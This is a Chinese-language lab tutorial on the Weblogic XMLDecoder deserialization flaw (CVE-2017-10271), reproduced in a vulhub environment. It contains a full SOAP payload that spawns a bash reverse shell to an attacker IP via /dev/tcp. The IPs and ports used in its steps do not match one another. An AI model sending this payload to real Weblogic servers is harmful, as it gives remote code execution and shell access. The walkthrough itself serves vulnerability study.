漏洞原理
本文介绍了Weblogic XMLDecoder反序列化相关的漏洞原理,并以CVE-2017-10271为例在vulhub上进行了复现。有关Weblogic XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等,其漏洞原理相似,这里首先简要介绍Weblogc XMLDecoder相关的背景知识 。
Weblogic
用途:用于解析java,部署大型分布式Web应用的Web中间件。
默认端口:7001
历史漏洞:XMLDecode反序列化漏洞、反序列化漏洞、弱口令war包上传、SSRF等本文仅介绍XMLDecode反序列化漏洞
XMLDecoder是干啥的?
XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。总之就是用来解析XML文档的。
Weblogic XMLDecoder 反序列化漏洞原理简介
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XM(SOAP协议)数据,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是wls-wsat、_async
漏洞复现(CVE-2017-10271)
复现过程(vulhub)
本文以CVE-2017-10271为例,用vulhub靶场进行漏洞复现,目标是获取反弹shell。
靶机:39.106.14.43
攻击机:kali 192.168.200.131
攻击机和靶机无所谓是不是kali和Ubuntu,攻击机用于接收反弹shell,靶机应该是Ubuntu上启动的docker。首先启动vulhub靶场,cd vulhub/weblogic/CVE-2017-10271,然后执行如下命令启动:
docker-compose up –d
docker ps查看进程,已经成功启动,端口为7001
浏览器访问靶机ip:7001,可看到如下的404页面,说明环境搭建成功。
weblogic XMLDecoder反序列化漏洞的出现位置有很多路径,具体路径我们在漏洞原理部分已经给出,这里就选第一个好了/wls-wsat/CoordinatorPortType,浏览器访问192.168.200.129:7001/wls-wsat/CoordinatorPortType,页面如下:
把访问这个可能触发XMLDecoder反序列化漏洞的页面的GET请求抓下来(BurpSuite抓个包),可以看到其HTTP请求如下图:
把这个包发送到重放器Repeater,一会改包添加poc。现在我们在攻击机kali中开启一个nc监听,监听7777端口,用于接收反弹shell(读者也可以选择其他端口)
改包,把刚才抓到的HTTP GET请求,修改请求方式为POST,然后加上反弹shell的恶意代码,注意要把Content-Type修改为text/xml 。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>bash -i >& /dev/tcp/192.168.219.134/4444 0>&1</string></void> </array> <void method="start"></void> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
完整的请求包如下:
把反弹shell的ip改成你的接收反弹shell的ip,端口改为刚才nc监听的端口。 改包之后,发送请求,响应包的状态码是500,如下图所示,如果响应包如下图这样,漏洞利用就成功了。